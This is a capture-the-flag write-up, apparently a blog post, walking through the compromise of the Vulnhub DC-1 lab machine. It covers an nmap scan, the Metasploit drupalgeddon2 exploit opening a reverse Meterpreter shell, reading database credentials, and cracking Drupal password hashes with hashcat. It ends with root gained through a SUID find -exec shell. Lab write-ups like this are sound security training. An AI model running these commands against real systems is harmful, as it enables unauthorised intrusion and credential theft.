March 22nd, 2019
CTF Write-Up
This write-up covers the DC-1: 1 CTF on Vulnhub.com
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
To get started, let's see what NMAP finds:
root@kali:~# nmap -sSV -p- 192.168.18.129
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-24 21:37 EDT
Nmap scan report for 192.168.18.129
Host is up (0.00055s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
35352/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:64:56:73 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Browsing to the site shows a Drupal login page. DRIB
found a few interesting items, but I couldn't find a CHANGELOG.txt to identify the Drupal version. However, viewing the source code shows it is running
Drupal 7 on line 17:
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />
DIRB
didn't find anything useful. This seems like a typical default Drupal install. I diecided to fire up Metasploit to see if the site is vulnerable to any of the Drupal 7 RCE exploits.
wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.
(`. ,-,
` `. ,;' /
`. ,'/ .'
`. X /.'
.-;--''--.._` ` (
.' / `
, ` ' Q '
, , `._ \
,.| ' `-.;_'
: . ` ; ` ` --,.._;
' ` , ) .'
`._ , ' /_
; ,''-,;' ``-
``-..__``--`
https://metasploit.com
=[ metasploit v5.0.2-dev ]
+ -- --=[ 1852 exploits - 1046 auxiliary - 325 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
+ -- --=[ ** This is Metasploit 5 development branch ** ]
msf5 > search drupal
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal OpenID External Entity Injection
auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module Users Enumeration
exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module Remote Command Execution
exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module Remote PHP Code Execution
exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > SET RHOST 192.168.18.129
[-] Unknown command: SET.
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no If output should be dumped
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.18.129
RHOSTS => 192.168.18.129
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.18.128:4444
[*] Drupal 7 targeted at http://192.168.18.129/
[-] Could not determine Drupal patch level
[*] Sending stage (38247 bytes) to 192.168.18.129
[*] Meterpreter session 1 opened (192.168.18.128:4444 -> 192.168.18.129:52916) at 2019-03-25 20:38:02 -0400
shell
ls
meterpreter > shell
Process 3685 created.
Channel 0 created.
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@DC-1:/var$ cd www
cd www
www-data@DC-1:/var/www$ ls
ls
COPYRIGHT.txt LICENSE.txt cron.php misc sites
INSTALL.mysql.txt MAINTAINERS.txt flag1.txt modules themes
INSTALL.pgsql.txt README.txt includes profiles update.php
INSTALL.sqlite.txt UPGRADE.txt index.php robots.txt web.config
INSTALL.txt authorize.php install.php scripts xmlrpc.php
www-data@DC-1:/var/www$
And we're in! I upgrade the shell using python and it looks like the first flag is in the web root:
www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.
Seems like we should take a look at the Drupal site config... and that's where the second flag can be found. There are also the DrupalDB user credentials:
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
I took a look through the DrupalDB and found hashed passwords for the Admin and a user named Fred. I fired up Hashcat and start cracking the drupal passwords. Some research turns up that the hashcat mode for durpal passwords is 1800.
www-data@DC-1:/var/www$ mysql -u dbuser -p
mysql -u dbuser -p
Enter password: R0ck3t
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 9976
Server version: 5.5.60-0+deb7u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| drupaldb |
+--------------------+
2 rows in set (0.00 sec)
mysql> use drupaldb;
use drupaldb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+-----------------------------+
| Tables_in_drupaldb |
+-----------------------------+
| actions |
| authmap |
| batch |
| block |
| block_custom |
| block_node_type |
| block_role |
| blocked_ips |
| cache |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
| cache_update |
| cache_views |
| cache_views_data |
| comment |
| ctools_css_cache |
| ctools_object_cache |
| date_format_locale |
| date_format_type |
| date_formats |
| field_config |
| field_config_instance |
| field_data_body |
| field_data_comment_body |
| field_data_field_image |
| field_data_field_tags |
| field_revision_body |
| field_revision_comment_body |
| field_revision_field_image |
| field_revision_field_tags |
| file_managed |
| file_usage |
| filter |
| filter_format |
| flood |
| history |
| image_effects |
| image_styles |
| menu_custom |
| menu_links |
| menu_router |
| node |
| node_access |
| node_comment_statistics |
| node_revision |
| node_type |
| queue |
| rdf_mapping |
| registry |
| registry_file |
| role |
| role_permission |
| search_dataset |
| search_index |
| search_node_links |
| search_total |
| semaphore |
| sequences |
| sessions |
| shortcut_set |
| shortcut_set_users |
| system |
| taxonomy_index |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| taxonomy_vocabulary |
| url_alias |
| users |
| users_roles |
| variable |
| views_display |
| views_view |
| watchdog |
+-----------------------------+
80 rows in set (0.00 sec)
mysql> select * from users;
select * from users;
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| uid | name | pass | mail | theme | signature | signature_format | created | access | login | status | timezone | language | picture | init | data |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| 0 | | | | | | NULL | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | [email protected] | | | NULL | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | | 0 | [email protected] | b:0; |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | [email protected] | | | filtered_html | 1550581952 | 1550582225 | 1550582225 | 1 | Australia/Melbourne | | 0 | [email protected] | b:0; |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
3 rows in set (0.01 sec)
Hashcat finished cracking the admin and Fred password. The admin's password is MyPassword
and Fred's is 53cr3t
. But for some reason I couldn't log in via a browser. Maybe I broke Drupal with the drupalgeddon2 exploit?
After consulting Google I found Drupal stores it's content in nodes
and the body of the text is stored in the field_data_body
table.. and that's where we find the third flag:
mysql> select * from node;
select * from node;
+-----+------+------+----------+-------+-----+--------+------------+------------+---------+---------+--------+------+-----------+
| nid | vid | type | language | title | uid | status | created | changed | comment | promote | sticky | tnid | translate |
+-----+------+------+----------+-------+-----+--------+------------+------------+---------+---------+--------+------+-----------+
| 1 | 1 | page | und | Main | 2 | 1 | 1550582250 | 1550582250 | 0 | 0 | 0 | 0 | 0 |
| 2 | 2 | page | und | flag3 | 1 | 0 | 1550582412 | 1550583860 | 0 | 0 | 0 | 0 | 0 |
+-----+------+------+----------+-------+-----+--------+------------+------------+---------+---------+--------+------+-----------+
2 rows in set (0.00 sec)
mysql> select body_value from field_data_body where entity_id = 2;
select body_value from field_data_body where entity_id = 2;
+------------------------------------------------------------------------------------------------------------------------------+
| body_value |
+------------------------------------------------------------------------------------------------------------------------------+
| Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. |
+------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
This seems to suggest we may be able to FIND
the next flag...
www-data@DC-1:/$ find -name flag*
find -name flag*
./home/flag4
./home/flag4/flag4.txt
./var/www/flag1.txt
./usr/src/linux-headers-3.2.0-6-686-pae/include/config/zone/dma/flag.h
./usr/share/doc/tk8.5/examples/images/flagdown.xbm
./usr/share/doc/tk8.5/examples/images/flagup.xbm
./usr/include/X11/bitmaps/flagdown
./usr/include/X11/bitmaps/flagup
./usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flags.h
./usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flag-types.h
./usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al
./sys/devices/virtual/net/lo/flags
./sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
www-data@DC-1:/$ cat /home/flag4/flag4.txt
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
Looks like there is a user named Flag4. The hint seems to suggest there may be something else we can do with the FIND
command. Looking at the manual for FIND
returns that we can actually execute commands. This makes the hint in flag3 make more sense...
www-data@DC-1:/$ find . -exec 'bin/bash' \;
find . -exec 'bin/bash' \;
bash-4.2$ whoami
whoami
www-data
bash-4.2$ find . -exec '/bin/sh' \;
find . -exec '/bin/sh' \;
# whoami
whoami
root
# cd ..
cd ..
# ls
ls
bin home lib64 opt sbin tmp vmlinuz.old
boot initrd.img lost+found proc selinux usr
dev initrd.img.old media root srv var
etc lib mnt run sys vmlinuz
# cd root
cd root
# ls
ls
thefinalflag.txt
# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
And that looks like the last flag. Now that we have root I decieded to crack the Flag4 user's password. Hashcat says it's orange
.
Thanks to @DCAU7 for a good challenge, and @g0tmi1k for hosting on Vulnhub!